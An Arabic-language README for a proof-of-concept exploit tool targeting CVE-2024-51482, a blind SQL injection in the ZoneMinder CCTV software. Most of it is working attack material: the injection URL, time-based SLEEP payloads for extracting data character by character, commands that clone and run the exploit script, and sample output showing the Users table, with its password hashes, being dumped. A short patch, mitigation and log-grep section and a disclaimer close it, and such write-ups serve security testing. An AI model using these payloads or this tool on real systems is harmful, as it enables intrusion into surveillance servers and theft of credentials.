
ZenoMinder: إثبات مفهوم حقن SQL الأعمى
CVE-2024-51482 هي ثغرة حقن SQL منطقية حرجة (boolean-based) تم اكتشافها في ZoneMinder، وهو برنامج مراقبة CCTV مفتوح المصدر شائع. يؤثر هذا الخلل على الإصدارات 1.37.* حتى 1.37.64 ويسمح للمهاجمين الموثوقين بصلاحيات منخفضة بتنفيذ أوامر SQL عشوائية على خادم قاعدة البيانات الأساسي.
| المقياس | القيمة |
|---|---|
| معرف CVE | CVE-2024-51482 |
| درجة CVSS | 9.9 (حرجة) |
| متجه الهجوم | الشبكة |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | لا شيء |
| النطاق | متغير |
| الأثر | السرية، التكامل، التوفر - عالٍ |
| الإصدار المصحح | 1.37.65 |
توجد الثغرة في ملف web/ajax/event.php داخل الدالة removetag. يتم إلحاق المعامل tid (معرف الوسم) مباشرة في استعلام SQL دون تنقية أو معالجة مناسبة.
الكود القابل للاستغلال:
case 'removetag':
$tagId = $_REQUEST['tid'];
dbQuery('DELETE FROM Events_Tags WHERE TagId = ? AND EventId = ?', array($tagId, $_REQUEST['id']));
$sql = "SELECT * FROM Events_Tags WHERE TagId = $tagId"; // VULNERABLE!
$rowCount = dbNumRows($sql);
// ...
الكود المصحح:
$sql = "SELECT * FROM Events_Tags WHERE TagId = ?";
$rowCount = dbNumRows($sql, $tagId); // استعلام مع وسائط
يمكن تشغيل النقطة القابلة للاستغلال عبر:
http://target/zm/index.php?view=request&request=event&action=removetag&tid=[نقطة_الحقن]
لا تعيد نقطة الحقن نتائج الاستعلام مباشرة في الاستجابة، مما يجعل الهجمات التقليدية القائمة على UNION مستحيلة. بدلاً من ذلك، يجب استنتاج المعلومات من خلال الشروط المنطقية أو التأخير الزمني.
يستخدم استغلالنا الاستخراج القائم على الوقت مع دالة SLEEP():
1 AND (SELECT 1 FROM (SELECT SLEEP(2)) as dummy)
عندما يكون هذا الشرط صحيحًا، ينام قاعدة البيانات لمدة ثانيتين، مما يخلق تأخيرًا قابلاً للقياس في استجابة HTTP.
ASCII(SUBSTRING()) > MID.SLEEP.مثال على حمولة لاستخراج الحرف في الموضع 1:
1 AND (SELECT 1 FROM (SELECT SLEEP(2) FROM DUAL WHERE ASCII(SUBSTRING((SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1), 1, 1)) > 100) as dummy)
# استنساخ المستودع
git clone https://github.com/BridgerAlderson/CVE-2024-51482.git
cd CVE-2024-51482
# جعل البرنامج النصي قابلًا للتنفيذ
chmod +x CVE-2024-51482.py
# تثبيت التبعيات المطلوبة
pip3 install requests
# اختبار ما إذا كان الهدف قابلاً للاستغلال
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --test
# اكتشاف جميع قواعد البيانات
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --discover
# سرد الجداول في قاعدة بيانات معينة
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --tables zm
# سرد الأعمدة في جدول معين
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --columns zm Users
# تفريغ البيانات من أعمدة محددة
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --dump zm Users "Username,Password"
# تفريغ جدول المستخدمين (افتراضي)
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users
# تمكين مخرجات التصحيح لعملية الاستخراج التفصيلية
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users --debug
# ضبط وقت السكون لاستخراج أكثر موثوقية
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users --sleep 3
# تعطيل المخرجات الملونة
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users --no-color
مثال 1: اختبار الثغرة
$ python3 CVE-2024-51482.py -i 192.168.1.100 -u admin -p admin --test
[*] CVE-2024-51482 - أداة استغلال حقن SQL الأعمى في ZoneMinder
[*] الهدف: 192.168.1.100
[*] تسجيل الدخول باسم 'admin' على 192.168.1.100...
[+] تم تسجيل الدخول بنجاح
[*] قياس وقت الاستجابة الأساسي...
[*] الوسيط الأساسي: 0.058s
[*] اختبار الثغرة مع نوم لمدة 2 ثانية...
[+] الهدف قابل للاستغلال!
مثال 2: تعداد قاعدة البيانات
$ python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --discover
[*] CVE-2024-51482 - أداة استغلال حقن SQL الأعمى في ZoneMinder
[*] الهدف: <host-الهدف>
[*] تسجيل الدخول باسم 'admin' على <host-الهدف>...
[+] تم تسجيل الدخول بنجاح
[*] قياس وقت الاستجابة الأساسي...
[*] الوسيط الأساسي: 0.065s
[*] اختبار الثغرة مع نوم لمدة 2 ثانية...
[+] الهدف قابل للاستغلال!
[*] تعداد قواعد البيانات...
[+] تم العثور على قاعدة بيانات: information_schema
[+] تم العثور على قاعدة بيانات: performance_schema
[+] تم العثور على قاعدة بيانات: zm
[+] قواعد البيانات التي تم العثور عليها:
1. information_schema
2. performance_schema
3. zm
مثال 3: تفريغ بيانات اعتماد المستخدم
$ python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --users
[*] CVE-2024-51482 - أداة استغلال حقن SQL الأعمى في ZoneMinder
[*] الهدف: <host-الهدف>
[*] تسجيل الدخول باسم 'admin' على <host-الهدف>...
[+] تم تسجيل الدخول بنجاح
[*] قياس وقت الاستجابة الأساسي...
[*] الوسيط الأساسي: 0.062s
[*] اختبار الثغرة مع نوم لمدة 2 ثانية...
[+] الهدف قابل للاستغلال!
[*] تفريغ جدول Users من قاعدة بيانات zm...
[*] تعداد الأعمدة في 'zm.Users'...
[+] تم العثور على عمود: Id
[+] تم العثور على عمود: Username
[+] تم العثور على عمود: Password
[+] تم العثور على عمود: Language
[+] تم العثور على عمود: Enabled
[*] تفريغ البيانات من 'zm.Users'...
[+] الصف 1: {'Username': 'admin', 'Password': '$2y$10$...hashed...'}
[+] الصف 2: {'Username': 'operator', 'Password': '$2y$10$...hashed...'}
[+] تم استخراج المستخدمين: 2
المستخدم: admin
كلمة المرور: $2y$10$...hashed...
البريد الإلكتروني: admin@localhost
مفعل: 1
المستخدم: operator
كلمة المرور: $2y$10$...hashed...
البريد الإلكتروني: operator@localhost
مفعل: 1
مثال 4: استخراج بيانات مخصصة
# تفريغ أعمدة محددة من جدول Events
python3 CVE-2024-51482.py -i <host-الهدف> -u admin -p admin --dump zm Events "Id,Name,StartTime,EndTime"
SLEEP(2) للتحقق من عمل الحقن.ASCII(SUBSTRING(({query}), {position}, 1)) > {mid} .SLEEP → تأخير في الاستجابة.sudo apt-get update
sudo apt-get install zoneminder
# تكوين Apache
Require ip 192.168.0.0/16
grep -i "sleep\|union\|select" /var/log/zm/*.log
هذه الأداة مقدمة للأغراض التعليمية واختبار الأمان فقط. الاختبار غير المصرح به لأنظمة الكمبيوتر غير قانوني. احصل دائمًا على الإذن المناسب قبل اختبار أي نظام.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
| المقياس | القيمة |
|---|
| متجه الهجوم | الشبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | منخفضة |
| تفاعل المستخدم | لا شيء |
| النطاق | متغير |
| السرية | عالية |
| التكامل | عالية |
| التوفر | عالية |